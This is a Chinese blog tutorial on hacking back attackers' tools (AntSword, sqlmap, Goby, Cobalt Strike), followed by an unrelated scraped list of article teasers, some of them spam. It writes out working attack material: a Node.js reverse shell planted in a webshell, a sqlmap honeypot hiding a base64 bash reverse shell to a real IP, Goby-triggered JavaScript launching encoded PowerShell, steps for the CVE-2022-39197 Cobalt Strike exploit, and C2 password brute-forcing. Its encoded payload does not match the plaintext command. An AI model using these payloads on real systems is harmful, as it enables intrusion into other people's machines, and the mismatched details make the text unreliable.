今天是 几 号
今天是 几 号

【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具

文章目录

  • 溯源反制-Webshell工具-Antsword
    • 正常情况下，PHP后门上线
    • 发现PHP后门，修改webshell进行反制
  • 溯源反制-SQL注入工具-SQLMAP
  • 溯源反制-漏洞扫描工具-Goby&Awvs
  • 溯源反制-远程控制工具-CobaltStrike
    • 1、伪造流量批量上线（欺骗防御）
    • 2、利用漏洞（CVE-2022-39197）前一阶段爆出的CS XSS导致的RCE
    • 3、反制Server，爆破密码（通用）

CS反制 Goby反制 Antsword反制 AWVS反制 BURP反制 SQLMAP反制 XSS钓鱼 蜜罐反制

溯源反制-Webshell工具-Antsword

蓝队通过修改后门的代码实现获得蚁剑使用者的权限

正常情况下，PHP后门上线

【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第1张图片

发现PHP后门，修改webshell进行反制

复现环境：
蓝队：Linux Web
红队：Windows Antsword
原理：

<?php
header('HTTP/1.1 500 ');

【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第2张图片
这里说明一下，最新版本的剑蚁已经不支持了 测试版本是2.0.7 最新版本为2.1.15
上线：
Nodejs代码：

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(xx, "xx.xx.xx.xx", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

编码组合后：


header("HTTP/1.1 500 Not ");
?>

【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第3张图片

溯源反制-SQL注入工具-SQLMAP

复现环境：
蓝队：Linux Web
红队：Linux sqlmap
蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限
原理：
命令管道符：

ping “ls”

构造注入点页面固定注入参数值，等待攻击者进行注入

sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh 0&0 2>&0`"

1、测试反弹编码：

bash -i >& /dev/tcp/47.94.236.117/2333 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i

2、蓝队构造页面test.php注入页面固定参数值：

<html>
<head>
    <meta charset="utf-8">  
    <title> A sqlmap honeypot demo</title>
</head>
<body>
	<input>search the user</input>   <!--创建一个空白表单-->
	<form action="username.html" method="post" enctype="text/plain">
		<!--创建一个隐藏的表单-->
		<input type='hidden' name='name' value="VertiFy&id=45273434&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i`&port=6379"/>	
		<!--创建一个按钮，提交表单内容-->
		<input type="submit" value='提交'>
 
	</form>
</body>
</html>

3、红队攻击者进行注入测试：

sqlmap -u "http://10.10.10.1/1.php" --data "name=xiaodi&id=45273434&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i`&port=6379"

【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第4张图片
差不多就是这个意思、感觉这里还是挺鸡肋的

溯源反制-漏洞扫描工具-Goby&Awvs

复现环境：
蓝队：Linux Web
红队：Windows10 Goby
蓝队在红队攻击目标上写一个文件，红队利用goby去扫描分析时会触发反制得到机器权限
RCE:
index.php


header("X-Powered-By: PHP/");
?>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>

1.js

(function(){
require('child_process').exec('calc.exe');
})();

这里将调用的1.js更换成2.js进行powershell上线
2.js上线：

(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();

【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第5张图片

很遗憾这里我并没有复现出来 。这里我使用的Goby版本是2.0.x (emmm……) 最新版本2.4.x

溯源反制-远程控制工具-CobaltStrike

复现环境：
蓝队：Linux Web
红队：Windows10 Goby
对抗Cobaltstrike中的手段：

1、伪造流量批量上线（欺骗防御）

https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw
【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第6张图片
因为适用版本太老了，Versio<=3.5 这里就不在复现了，感兴趣的朋友可以试一试

2、利用漏洞（CVE-2022-39197）前一阶段爆出的CS XSS导致的RCE

Cobalt Strike <=4.7 XSS

• 获取真实ip地址
• 获取NTLM
• RCE
• SSRF

https://github.com/its-arun/CVE-2022-39197
取得红队木马样本开始操作如下：
-蓝队修改EXP里面的执行命令后编译（红队客户端触发的东西在这里修改）
修改：EvilJar/src/main/java/Exploit.java
【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第7张图片
这里可以修改为windows反弹shell命令(powershell进行编码等)，注意这里使用maven进行编译
-蓝队修改svg加载地址并架设Web服务（红队的CS服务器能访问的Web服务）
【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第8张图片

修改：evil.svg 指向url地址

python -m http.server 8888

-蓝队执行EXP调用后门上线，攻击者进程查看时触发
在这里插入图片描述
前面准备工作都是一气呵成，这里有个一很坑的地方就是使用pip安装Frida module时，一开始安装总是报错(tiemout以及各种问题)，然后我不停的换Pytthon版本emmm，最后解决是使用超级管理员权限运行cmd就好了(心中无数个？)

python cve-2022-39197.py beacon.exe http://可访问的WEB:8888/evil.svg

很遗憾的是这里我没有复现成功，测试了CS4.5以及CS.4.7 不知道是不是中文版被魔改后的问题(被打了补丁)，哎，真是令人琢磨不透
不过我后续会尝试其他版本直到复现成功 呜呜复现一下午心态崩了

3、反制Server，爆破密码（通用）

针对没有采用隐匿C2地址的技术导致的反制（后门样本被溯源到C2地址）
https://github.com/ryanohoro/csbruter

python3 csbruter.py [-h] [-p PORT] [-t THREADS] host [wordlist]
python csbruter.py 47.94.236.117 pass.txt

CS服务端还是有密码登陆失败的痕迹，容易被发现
【应急响应】战中溯源反制&对抗上线CS&Goby&蚁剑&Sqlmap等安全工具_第9张图片
这里有前提条件：1、已获得恶意CS地址 2、获取开放CS端口 3、字典够大(万物皆可爆破)

你可能感兴趣的:(#,溯源反制与应急响应,溯源反制,CS,网络安全,应急响应)

  • 小程序使用iconfont的方法. adustdu2015
    1.方法：在阿里巴巴图标库下载下来以后，将iconfont.ttf转换即可。转换地址：https://transfonter.org/这里贴一个简单的步骤：image.pngimage.pngimage.png将css文件在外部引入所要用的.wxss文件中即可（@import‘../../lib/style/lib.wxss’;）最后，就可以使用啦：.icon:after{font-family:
  • C语言函数递归 神里流~霜灭 原创文章提交c++pythonc语言java贪心算法模拟退火算法哈希算法
    目录1什么是递归？...21.1递归的思想：...21.2递归的限制条件...22递归举例...22.1举例1：求n的阶乘...22.1.1分析和代码实现...22.2举例2：顺序打印一个整数的每一位...32.2.1分析和代码实现...33递归与迭代...33.1举例3：求第n个斐波那契数...43.2拓展学习：...5什么是递归？简单来说，在C语言中，递归就是函数自己调用自己。递归的思想：递归
  • 50篇文章了解计算机网络 CongSec 计算机网络计算机网络arm开发
    第1章计算机网络概述1.1计算机网络在信息时代中的作用（链接1）1.2计算机网络的定义与分类（链接1）1.2.1计算机网络的定义1.2.2计算机网络的分类1.3互联网概述（链接1）1.3.1网络的网络1.3.2互联网结构发展的三个阶段1.3.3互联网的标准化工作1.4电路交换与分组交换（链接2）1.4.1电路交换1.4.2分组交换1.5计算机网络的主要性能指标（链接3）1.6计算机网络体系结构（链
  • 专业投票团队收费解析与微信刷票公司的价格探秘 口碑信息传播者
    在商业投票的背后，隐藏着一场费用的谜团。专业投票团队与微信刷票公司的收费体系复杂而多样，令人难以捉摸。本文将深入解析这一选票之谜，揭示其中的各种收费因素。1.简单直接投的价格：0.2元左右投票过程中，简单直接的选票通常被定价为0.2元左右。这一价格相对较低，反映了投票的基本成本，但也反映了一票的相对轻松性。2.限制号的价格：0.3元以上当涉及到限制号投票时，价格通常会上升至0.3元以上。这反映了投
  • 使用 ROS 集成 MQTT 的远程机器人驱动框架 神一样的老师 论文阅读分享物联网机器人物联网
    这篇论文的标题是《使用ROS集成MQTT的远程机器人驱动框架》。以下是对论文主要内容的整理：摘要论文提出了一个框架，通过将机器人操作系统（ROS）与消息队列遥测传输（MQTT）协议集成，使用户能够从任何互联网连接的设备远程指挥和驱动机器人。论文标题:"AFrameworkforRemoteRobotActuationusingROSIntegratedwithMQTT"会议名称:2024Inter
  • 天人合易:从易经悟出的“道”，遵循这一点，你就会走上成功的大道 神农图的周易经
    作者：武微鸿（神农图的宇宙周易经）神农图文导读：神农图是传世圣图伏羲图天生的姊妹篇，与伏羲图唯一镜像对称。从微鸿发现它至今已近30年了，随着微鸿对它研究的深入，越来越多的证据表明，它是《周易》的本源之图，更隐藏着科学巨秘。请随着微鸿关于《神农图》的系列发文，开始神农易和传统易学及现代科学交杂碰合的神奇之旅吧。以下进入正文，后篇惊喜将续，关注加评赞，精彩不错过！“道”是一个古老的词语，一直到今天仍然
  • 基于javaweb的城乡居民基本医疗信息管理系统设计与开发论文 小蒜学长 javatomcatmavencsshtml5vue.js
    摘要信息数据从传统到当代，是一直在变革当中，突如其来的互联网让传统的信息管理看到了革命性的曙光，因为传统信息管理从时效性，还是安全性，还是可操作性等各个方面来讲，遇到了互联网时代才发现能补上自古以来的短板，有效的提升管理的效率和业务水平。传统的管理模式，时间越久管理的内容越多，也需要更多的人来对数据进行整理，并且数据的汇总查询方面效率也是极其的低下，并且数据安全方面永远不会保证安全性能。结合数据内
  • catkin_ws的作用 FL17171314 机器人自动驾驶人工智能
    catkin_ws在ROS（RobotOperatingSystem，机器人操作系统）中扮演着重要的角色，它是ROS用户的工作空间，主要用于存放与ROS项目相关的开发文件。catkin_ws的作用主要体现在以下几个方面：组织结构化：catkin_ws包含了源文件空间（通常为catkin_ws/src）、编译空间（通常为catkin_ws/build）和开发空间（通常为catkin_ws/devel
  • 2020-12-28 桃园梯田刘杰
    我为家乡代言|左安中心小学桃源梯田研学之旅常言道读万卷书，行万里路行是知之始，知是行之成呵护童心，学在路上我为家乡代言遂川左安中心小学特组织开展桃源梯田农耕研学一日游活动01礼仪之美——点亮研学教练发放口罩和研学任务书同学们双手接物，鞠躬道谢中华民族的礼仪传承在孩子们身上体现得淋漓尽致02拓展活动——珠行千里一次次的失败与总结锻炼孩子的心态、耐性与毅力在这个无领导小组中他们需要自己想办法达成目标团
  • 淘宝优惠券推广：轻松赚取佣金的秘诀！ 氧惠佣金真的高
    今天，我要为你揭秘一个淘宝购物的赚钱小秘密——淘宝优惠券推广！通过推广优惠券，你不仅可以轻松赚取佣金，还能与朋友们分享优惠，实现共赢！氧惠APP（带货领导者）——是与以往完全不同的抖客+淘客app！2023全新模式，我的直推也会放到你下面。主打：带货高补贴，深受各位带货团队长喜爱（每天出单带货几十万单）。注册即可享受高补贴+0撸+捡漏等带货新体验。送万元推广大礼包，教你如何1年做到百万团队。首先，
  • 【ES专题】ElasticSearch集群架构剖析_es集群 2401_84159688 程序员elasticsearch架构java
    +请求量提升/数据的不断增长(将数据分布到所有节点上)上面所说的正是集群架构的优势所在。对ES集群架构来说，则体现在：提高系统的可用性，部分节点停止服务，整个集群的服务不受影响存储的水平扩容1.2ES集群核心概念ES集群中有2个比较核心的概念需要理解一下。分别是：节点、分片。在聊这些概念之前，我们先重新梳理一下，ES的集群是什么。ES的集群，亦上图所示，它通常由如下特征：集群中有一个或者多个节点不
  • 拼多多纸巾返佣平台内部揭秘：免费纸巾获取渠道与注意事项 氧惠爱高省
    在微信群怎么获得最便宣的纸巾批发纸巾群里发的链接怎么搞到的呢在我们的日常生活中，纸巾是必不可少的用品。而通过微信群批发纸巾，不仅可以节省金钱，还能享受到方便快捷的购物体验。那么，如何在微信群中获得最优惠的纸巾批发呢？本文将为你揭秘这一省钱秘籍。首先，我们需要找到合适的微信纸巾群。可以通过搜索关键词“纸巾群”或者“拼多多纸巾”来找到相关的微信群。在选择加入微信群的时候，需要注意观察群内成员的活跃度以
  • 京东优惠券挣钱软件：真的能实现轻松赚钱吗？ 氧惠好物
    京东优惠券挣钱软件成为了近年来备受关注的话题。这些软件宣称能够帮助用户轻松获取优惠券，从而实现省钱甚至赚钱的目的。然而，这些软件真的如此神奇吗？它们真的能让我们轻松赚钱吗？本文将对此进行探讨。首先，我们需要了解京东优惠券挣钱软件的基本运作原理。这些软件通常通过与京东平台进行合作，获取优惠券的发放信息，并将这些信息推送给用户。用户在使用这些软件时，可以通过完成一些任务或参与某些活动来获得优惠券，进而
  • Elasticsearch 2301_78085386 elasticsearch大数据搜索引擎
    ElasticsearchES概述Elasticsearch，简称为ES，是一款非常强大的开源的高扩展的分布式全文检索引擎，可以帮助我们从海量数据中快速找到需要的内容,它可以近乎实时的存储、检索数据.还可以可以实现日志统计、分析、系统监控等功能.官网:https://www.elastic.co/cn例如京东,淘宝,头条等站内搜索功能mysql搜索匹配机制性能低,数量大的情况下影响性能采用正向索引
  • 幸福的味道 起点人力
    一生说长也长，说短也短。一瞬间灰飞烟灭。一生不经风雨，实难见彩虹。生活的滋味自已说短长。一生中也许你记得别人的幸福，别人的苦痛。刻骨铭心地记着自已的不幸与苦难。唯独忘了自己曾拥有过的幸福。一生一路上较着劲地品尝着各种味道，较着较着，也就麻木地忘怀一路上也曾鲜花一片片，阳光也属于自己，月亮也不会在中秋因你的伤悲而不出现。一生一路，幸福的味道时时在你的身边。一路一生，各人有各人不同的幸福味道。一生也就
  • 2021-10-15作业评改记录 天地一沙鸥洛阳
    因学生的加减混合运算较差，今天在上课后，仍是挑三人到黑板上进行板演，三人的板书都出现了不同程度上的错误。第一名同学的统一为加法变形正确，第二步进行同号组合时，连接部分误写为加号，导致计算错误（没有记清楚混合运算在课堂中的要求：数字带上符号走，连接永远用加号）。第二名同学书写较乱，结果也不正确，因牵涉中括号与绝对值号，所以我在黑板上又进行了一次板书：先计算中括号与绝对值号内的算式，化综合为各小算式，
  • 2021-01-08 能力 比峰
    成功与幸福重要吗？重要。如果没有它们，我们的人生何其苦短；失败与挫折重要吗？重要。如果没有它们，我们的人生何其单薄；爱恨情仇重要吗？重要。如果没有它们，我们的人生何其贫瘠萧索；正因为我们觉得它们都很重要，往往忽略了其背后的逻辑。重要的不是我们曾经经历过它们，而是我们从中获得了迎接未来的胆略与能力。只要宇宙一刻不曾静止，时间便会有进无退，未来的才有价值，过往的都已沉没。对未来有用的是能力，当我们成功
  • 京东领券中心在哪里 京东领券中心入口2024 氧惠好物
    京东领券中心入口是京东商城推出的一个功能，让用户能够在购物过程中领取优惠券，享受更多的折扣和福利。京东作为中国最大的综合电商平台之一，拥有庞大的商品种类和广泛的用户群体，领券中心的推出为用户提供了更多的省钱机会。氧惠APP（带货领导者）——是与以往完全不同的抖客+淘客app！2023全新模式，我的直推也会放到你下面。主打：带货高补贴，深受各位带货团队长喜爱（每天出单带货几十万单）。注册即可享受高补
  • jenkins发送html邮件配置步骤与注意事项？ danplus jenkinsSMTP服务器服务器邮件推送邮件接口触发式邮件API接口
    jenkins发送html邮件如何实现？Jenkins的配置方法？通过jenkins发送html邮件，开发团队可以及时获取构建状态的详细报告，从而快速响应问题，提高工作效率。AokSend将详细介绍jenkins发送html邮件的配置步骤与注意事项，帮助读者更好地利用这一功能。jenkins发送html邮件：安装插件要实现jenkins发送html邮件，首先需要在jenkins中安装相应的插件。进
  • elasticsearch安装在服务器并进行向量检索 小李飞刀李寻欢 OpenSourceelasticsearch服务器大数据
    服务器安装elasticsearch安装Elasticsearch的步骤通常包括以下几个阶段：导入Elasticsearch公钥。创建Elasticsearch仓库。安装Elasticsearch。启动Elasticsearch服务。配置Elasticsearch开机自启。以下是针对基于Debian/Ubuntu系统的安装示例：#1.导入Elasticsearch公钥wget-qO-https:/
  • 淘券联盟app真的可以赚钱吗?淘券联盟APP安全靠谱吗？ 高省APP
    淘券联盟App是一款能够在手机上进行优选的电商购物商城，每一款产品都是人工去进行筛选的，全部都是与各大电商平台去进行强强合作，方便用户能进行持续的选择。淘券联盟包含了抖券、达人说、专享商城、每日爆款、限时秒杀、生活券、大额券、活动推荐、人气面膜、品牌特惠、小编推荐等精选频道，对于喜欢购物的朋友来说可以省下一笔购物开销。健全的线上的电商购物链，将会持续的帮助用户进行线上综合的购物等的相关需求。其中有
  • C# 基于NModbus4的数据读写 那人_那事 c#Modbus
    本文主要介绍基于开源modbus库NModbus4的数据读写添加引用usingModbus.Device;属性privateModbusIpMaster_master;privatestring_ipAddress;privateTcpClient_tcpClient;//////设备IP地址///publicstringIpAddress{get=>_ipAddress;set=>_ipAddr
  • gis教程链接 从此潜龙入海
    QGIS教程：入门与进阶—QGIS教程：入门与进阶QGIS3.x入门教程—数据可视化-网易云课堂StackOvernet:gis
  • 【C# / Extension】 扩展方法01 —— 扩展String & StringBuilder ls9512 C#.NETc#扩展
    C#扩展方法系列C#扩展方法简介String扩展CheckNull扩展检查是否为空publicstaticboolIsNullOrEmpty(thisstringinput){returnstring.IsNullOrEmpty(input);}与此相反，还可以写成publicstaticboolIsNotNullOrEmpty(thisstringinput){return!string.IsN
  • Pyecharts 可视化数据大屏设计与实践 jun778895 pyecharts
    Pyecharts可视化数据大屏设计与实践在当今数字化转型的大潮中，数据可视化大屏成为了企业展示业务数据、监控运营状态、辅助决策制定的重要工具。Pyecharts，作为一款基于Python的开源数据可视化库，因其丰富的图表类型、灵活的配置选项以及易于集成的特性，成为构建数据大屏的理想选择。本文将详细探讨如何利用Pyecharts设计并实现一个功能全面、视觉效果突出的数据可视化大屏。一、项目概述假设
  • 【全网独家】OpenCV: 像素巡访(at、ptr) 介绍与应用（代码+测试部署） 鱼弦 OpenCV系列实践opencv人工智能计算机视觉
    OpenCV:像素巡访(at、ptr)介绍与应用介绍在图像处理过程中，直接操作图像的每个像素值是一个非常常见的需求。OpenCV提供了多种方法来访问和修改图像像素，其中at和ptr是两种高效的方法。at方法：适用于小规模的像素访问操作，提供了方便的接口。ptr方法：更适合大规模的像素处理，有更高的访问效率。应用使用场景图像过滤：例如均值滤波、中值滤波等需要遍历每个像素进行计算。图像增强：如对比度调
  • 数据库系统概论：数据库完整性 ZachOn1y 数据库数据库oracle后端数据库系统mysql
    引言数据库是现代信息系统的心脏，数据的准确性和一致性对于业务流程至关重要。数据库完整性是确保数据质量的基石，它涵盖了数据的正确性、相容性和一致性，是数据安全与业务连续性的保障。数据库完整性是指数据的精确性、可靠性和逻辑一致性，它防止数据库中出现不符合语义的数据。其目的是保护数据免受意外或恶意破坏，确保数据在逻辑上的一致性、正确性和有效性。数据库完整性基本概念数据库的完整性（integrity）是指
  • 鸿蒙 操作系统 WSH2012ffff 操作系统服务器
    各种各样的系统优缺点-CSDN博客目录1漫天星光终汇成璀璨星河，鸿蒙的星星之火得以燎原2生态千帆起助鸿蒙独立3六大体验优势巩固鸿蒙行业领先地位1漫天星光终汇成璀璨星河，鸿蒙的星星之火得以燎原凭借中国的需求和不断增长的海外销量，华为与三星和苹果一起成为全球三大智能手机制造商。当今是得操作系统者得天下，华为意识到一直守着基于安卓的EMUI不是办法，会受制于人。但华为更知道，打造一款国产操作系统，挑战i
  • 【嵌入式模块】DS1302 时钟定时芯片 记录无知岁月 #嵌入式设备单片机嵌入式硬件51DS1302定时芯片
    文章目录参考链接概述引脚与内部结构引脚定义常用电路内部寄存器及RAM分布工作时序例程（51单片机）参考链接CSDN-1CSDN-2博客园概述  DS1302时钟芯片是DALLAS公司推出的涓流充电时钟芯片，是基于上一代芯片DS1202且与DS1202相兼容。首先来看看它的特性。  总结来说：内部含有一个实时时钟/日历和31字节的静态RAM。通过串行接口与单片机通信，使用引脚较少。实时时钟/日历可以
  • 深入理解数据库：从基础到高级应用 魏时还 数据库
    引言在当今这个数据洪流汹涌的时代，数据库技术已蜕变成为企业数字化转型与智能决策不可或缺的基石。它不再仅仅是数据的简单堆砌之地，而是驱动业务洞察、支撑复杂分析、加速创新决策的强大引擎。从金融、医疗到零售、科技，各行各业都在借助数据库技术挖掘数据价值，推动行业进步。本文将引领您踏上一场深入数据库世界的探索之旅。从基础概念的扎实构建，到架构设计的精妙布局，再到性能优化的极致追求，我们将一一揭开数据库技术
  • 解线性方程组 qiuwanchi
    package gaodai.matrix; import java.util.ArrayList; import java.util.List; import java.util.Scanner; public class Test { public static void main(String[] args) { Scanner scanner = new Sc
  • 在mysql内部存储代码 annan211 性能mysql存储过程触发器
    在mysql内部存储代码 在mysql内部存储代码，既有优点也有缺点，而且有人倡导有人反对。 先看优点： 1 她在服务器内部执行，离数据最近，另外在服务器上执行还可以节省带宽和网络延迟。 2 这是一种代码重用。可以方便的统一业务规则，保证某些行为的一致性，所以也可以提供一定的安全性。 3 可以简化代码的维护和版本更新。 4 可以帮助提升安全，比如提供更细
  • Android使用Asynchronous Http Client完成登录保存cookie的问题 hotsunshine android
    Asynchronous Http Client是android中非常好的异步请求工具 除了异步之外还有很多封装比如json的处理，cookie的处理 引用 Persistent Cookie Storage with PersistentCookieStore This library also includes a PersistentCookieStore whi
  • java面试题 Array_06 java面试
    java面试题 第一，谈谈final, finally, finalize的区别。 final-修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能
  • 网站加速 oloz 网站加速
    前序:本人菜鸟，此文研究总结来源于互联网上的资料，大牛请勿喷！本人虚心学习，多指教. 1、减小网页体积的大小，尽量采用div+css模式，尽量避免复杂的页面结构，能简约就简约。 2、采用Gzip对网页进行压缩；    GZIP最早由Jean-loup Gailly和Mark Adler创建，用于UNⅨ系统的文件压缩。我们在Linux中经常会用到后缀为.gz
  • 正确书写单例模式 随意而生 java 设计模式 单例
    　　单例模式算是设计模式中最容易理解，也是最容易手写代码的模式了吧。但是其中的坑却不少，所以也常作为面试题来考。本文主要对几种单例写法的整理，并分析其优缺点。很多都是一些老生常谈的问题，但如果你不知道如何创建一个线程安全的单例，不知道什么是双检锁，那这篇文章可能会帮助到你。 　　懒汉式，线程不安全 　　当被问到要实现一个单例模式时，很多人的第一反应是写出如下的代码，包括教科书上也是这样
  • 单例模式 香水浓 java
    懒汉  调用getInstance方法时实例化 public class Singleton { private static Singleton instance; private Singleton() {} public static synchronized Singleton getInstance() { if(null == ins
  • 安装Apache问题：系统找不到指定的文件 No installed service named "Apache2" AdyZhang apachehttp server
    安装Apache问题：系统找不到指定的文件 No installed service named "Apache2" 每次到这一步都很小心防它的端口冲突问题，结果，特意留出来的80端口就是不能用，烦。 解决方法确保几处： 1、停止IIS启动 2、把端口80改成其它 （譬如90，800，，，什么数字都好） 3、防火墙(关掉试试) 在运行处输入 cmd 回车，转到apa
  • 如何在android 文件选择器中选择多个图片或者视频？ aijuans android
    我的android app有这样的需求，在进行照片和视频上传的时候，需要一次性的从照片/视频库选择多条进行上传 但是android原生态的sdk中，只能一个一个的进行选择和上传。 我想知道是否有其他的android上传库可以解决这个问题，提供一个多选的功能，可以使checkbox之类的，一次选择多个 处理方法 官方的图片选择器(但是不支持所有版本的androi，只支持API Level
  • mysql中查询生日提醒的日期相关的sql baalwolf mysql
    SELECT sysid,user_name,birthday,listid,userhead_50,CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')),CURDATE(),  dayofyear( CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')))-dayofyear(
  • MongoDB索引文件破坏后导致查询错误的问题 BigBird2012 mongodb
    问题描述： MongoDB在非正常情况下关闭时，可能会导致索引文件破坏，造成数据在更新时没有反映到索引上。 解决方案：   使用脚本，重建MongoDB所有表的索引。 var names = db.getCollectionNames(); for( var i in names ){ var name = names[i]; print(name);
  • Javascript Promise bijian1013 JavaScriptPromise
            Parse JavaScript SDK现在提供了支持大多数异步方法的兼容jquery的Promises模式，那么这意味着什么呢，读完下文你就了解了。 一.认识Promises         “Promises”代表着在javascript程序里下一个伟大的范式，但是理解他们为什么如此伟大不是件简
  • [Zookeeper学习笔记九]Zookeeper源代码分析之Zookeeper构造过程 bit1129 zookeeper
       Zookeeper重载了几个构造函数，其中构造者可以提供参数最多，可定制性最多的构造函数是     public ZooKeeper(String connectString, int sessionTimeout, Watcher watcher, long sessionId, byte[] sessionPasswd, boolea
  • 【Java命令三】jstack bit1129 jstack
    jstack是用于获得当前运行的Java程序所有的线程的运行情况(thread dump），不同于jmap用于获得memory dump   [hadoop@hadoop sbin]$ jstack Usage: jstack [-l] <pid> (to connect to running process) jstack -F
  • jboss 5.1启停脚本　动静分离部署 ronin47
    以前启动jboss，往各种xml配置文件，现只要运行一句脚本即可。start nohup sh /**/run.sh -c servicename  -b ip -g  clustername   -u broatcast jboss.messaging.ServerPeerID=int  -Djboss.service.binding.set=p
  • UI之如何打磨设计能力? brotherlamp UIui教程ui自学ui资料ui视频
      在越来越拥挤的初创企业世界里，视觉设计的重要性往往可以与杀手级用户体验比肩。在许多情况下，尤其对于 Web 初创企业而言，这两者都是不可或缺的。前不久我们在《右脑革命：别学编程了，学艺术吧》中也曾发出过重视设计的呼吁。如何才能提高初创企业的设计能力呢?以下是 9 位创始人的体会。 1.找到自己的方式 如果你是设计师，要想提高技能可以去设计博客和展示好设计的网站如D-lists或
  • 三色旗算法 bylijinnan java算法
    import java.util.Arrays; /** 问题： 假设有一条绳子，上面有红、白、蓝三种颜色的旗子，起初绳子上的旗子颜色并没有顺序， 您希望将之分类，并排列为蓝、白、红的顺序，要如何移动次数才会最少，注意您只能在绳 子上进行这个动作，而且一次只能调换两个旗子。 网上的解法大多类似： 在一条绳子上移动，在程式中也就意味只能使用一个阵列，而不使用其它的阵列来
  • 警告:No configuration found for the specified action: \'s chiangfai configuration
    1.index.jsp页面form标签未指定namespace属性。 <!--index.jsp代码--> <%@taglib prefix="s" uri="/struts-tags"%> ... <s:form action="submit" method="post"&g
  • redis -- hash_max_zipmap_entries设置过大有问题 chenchao051 redishash
    使用redis时为了使用hash追求更高的内存使用率，我们一般都用hash结构，并且有时候会把hash_max_zipmap_entries这个值设置的很大，很多资料也推荐设置到1000，默认设置为了512，但是这里有个坑   #define ZIPMAP_BIGLEN 254 #define ZIPMAP_END 255     /* Return th
  • select into outfile access deny问题 daizj mysqltxt导出数据到文件
    本文转自：http://hatemysql.com/2010/06/29/select-into-outfile-access-deny%E9%97%AE%E9%A2%98/ 为应用建立了rnd的帐号，专门为他们查询线上数据库用的，当然，只有他们上了生产网络以后才能连上数据库，安全方面我们还是很注意的，呵呵。 授权的语句如下： grant select on armory.* to rn
  • phpexcel导出excel表简单入门示例 dcj3sjt126com PHPExcelphpexcel
    <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE);   if (PHP_SAPI == 'cli') die('This example should only be run from a Web Brows
  • 美国电影超短200句 dcj3sjt126com 电影
    1. I see． 我明白了。2. I quit! 我不干了!3. Let go! 放手!4. Me too． 我也是。5. My god! 天哪!6. No way! 不行!7. Come on． 来吧(赶快)8. Hold on． 等一等。9. I agree。 我同意。10. Not bad． 还不错。11. Not yet． 还没。12. See you． 再见。13. Shut up!
  • Java访问远程服务 dyy_gusi httpclientwebservicegetpost
        随着webService的崛起，我们开始中会越来越多的使用到访问远程webService服务。当然对于不同的webService框架一般都有自己的client包供使用，但是如果使用webService框架自己的client包，那么必然需要在自己的代码中引入它的包，如果同时调运了多个不同框架的webService，那么就需要同时引入多个不同的clien
  • Maven的settings.xml配置 geeksun settings.xml
    settings.xml是Maven的配置文件，下面解释一下其中的配置含义： settings.xml存在于两个地方： 1.安装的地方：$M2_HOME/conf/settings.xml 2.用户的目录：${user.home}/.m2/settings.xml 前者又被叫做全局配置，后者被称为用户配置。如果两者都存在，它们的内容将被合并，并且用户范围的settings.xml优先。
  • ubuntu的init与系统服务设置 hongtoushizi ubuntu
    转载自：  http://iysm.net/?p=178 init Init是位于/sbin/init的一个程序，它是在linux下，在系统启动过程中，初始化所有的设备驱动程序和数据结构等之后，由内核启动的一个用户级程序，并由此init程序进而完成系统的启动过程。 ubuntu与传统的linux略有不同，使用upstart完成系统的启动，但表面上仍维持init程序的形式。 运行
  • 跟我学Nginx+Lua开发目录贴 jinnianshilongnian nginxlua
    使用Nginx+Lua开发近一年的时间，学习和实践了一些Nginx+Lua开发的架构，为了让更多人使用Nginx+Lua架构开发，利用春节期间总结了一份基本的学习教程，希望对大家有用。也欢迎谈探讨学习一些经验。    目录 第一章 安装Nginx+Lua开发环境 第二章 Nginx+Lua开发入门 第三章 Redis/SSDB+Twemproxy安装与使用 第四章 L
  • php位运算符注意事项 home198979 位运算PHP&
    $a = $b = $c = 0; $a & $b = 1; $b | $c = 1  问a,b,c最终为多少?   当看到这题时，我犯了一个低级错误，误 以为位运算符会改变变量的值。所以得出结果是1 1 0 但是位运算符是不会改变变量的值的，例如： $a=1;$b=2; $a&$b;  这样a,b的值不会有任何改变
  • Linux shell数组建立和使用技巧 pda158 linux
    1.数组定义 　　[chengmo@centos5 ~]$ a=(1 2 3 4 5) 　　[chengmo@centos5 ~]$ echo $a 　　1 　　一对括号表示是数组，数组元素用“空格”符号分割开。 　　 2.数组读取与赋值 　　得到长度： 　　[chengmo@centos5 ~]$ echo ${#a[@]} 　　5 　　用${#数组名[@或
  • hotspot源码(JDK7) ol_beta javaHotSpotjvm
    源码结构图，方便理解：   ├─agent                            Serviceab
